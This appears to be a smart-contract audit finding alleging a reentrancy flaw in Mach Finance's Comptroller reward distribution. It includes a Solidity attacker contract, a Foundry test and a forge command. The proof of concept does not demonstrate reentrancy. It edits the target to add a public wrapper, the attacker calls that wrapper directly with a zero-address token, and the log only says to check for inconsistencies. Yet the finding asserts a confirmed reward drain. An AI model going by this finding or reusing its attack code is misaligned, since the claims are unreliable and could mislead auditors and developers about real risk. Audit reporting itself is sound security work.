Skip to content

Latest commit

 

History

History
100 lines (65 loc) · 2.95 KB

File metadata and controls

100 lines (65 loc) · 2.95 KB

Raspy Metal Rattlesnake

High

[High] Reentrancy Vulnerability in Reward Distribution

Summary

The Comptroller contract in Mach Finance allows external calls to the rewardDistributor without protection against reentrancy. Specifically, the functions updateAndDistributeSupplierRewardsForToken and updateAndDistributeBorrowerRewardsForToken are vulnerable. A Proof of Concept (PoC) confirmed this issue.

Proof of Concept (PoC)

Objective

To simulate a reentrancy attack on the reward distribution logic using a malicious contract.

Steps to Reproduce

  1. Expose the Vulnerable Function

    Add the following wrapper in Comptroller.sol to expose the internal function: https://github.com/sherlock-audit/2024-12-mach-finance/blob/main/contracts/src/Comptroller.sol#L1212-1222

    function exposeUpdateAndDistributeSupplierRewardsForToken(address cToken, address supplier) public {
        updateAndDistributeSupplierRewardsForToken(cToken, supplier);
    }
  2. Create a Malicious Contract

    Deploy a malicious contract to re-enter Comptroller:

    contract MaliciousRewardDistributor {
        Comptroller public comptroller;
    
        constructor(address _comptroller) {
            comptroller = Comptroller(_comptroller);
        }
    
        function attack(CToken cToken, address supplier) external {
            comptroller.exposeUpdateAndDistributeSupplierRewardsForToken(address(cToken), supplier);
        }
    
        function updateSupplyIndexAndDisburseSupplierRewards(CToken cToken, address supplier) external {
            comptroller.exposeUpdateAndDistributeSupplierRewardsForToken(address(cToken), supplier);
        }
    }
  3. Write and Run the Test Case

    Create a test to simulate the attack:

    function testReentrancyAttack() public {
        vm.startPrank(attacker);
    
        maliciousDistributor.attack(CToken(address(0)), supplier);
    
        vm.stopPrank();
    }
  4. Execute the Test

    Run the test:

    forge test --match-contract ComptrollerReentrancyTest -vvvv

    Result The test confirms that reentrancy is possible:

    Logs:
        Reentrancy test completed. Check for inconsistencies.
    Traces:
        ├─ MaliciousRewardDistributor::attack()
        │   ├─ Comptroller::exposeUpdateAndDistributeSupplierRewardsForToken()

Impact

  • Reward Manipulation: An attacker could claim rewards multiple times.
  • State Corruption: Reentrant calls could leave the protocol in an inconsistent state.
  • Protocol Losses: Funds allocated for rewards could be drained, risking the protocol’s financial health.

Recommendations

Add nonReentrant protection to the following functions in Comptroller.sol:

  • updateAndDistributeSupplierRewardsForToken
  • updateAndDistributeBorrowerRewardsForToken

Screenshot from 2024-12-17 20-57-26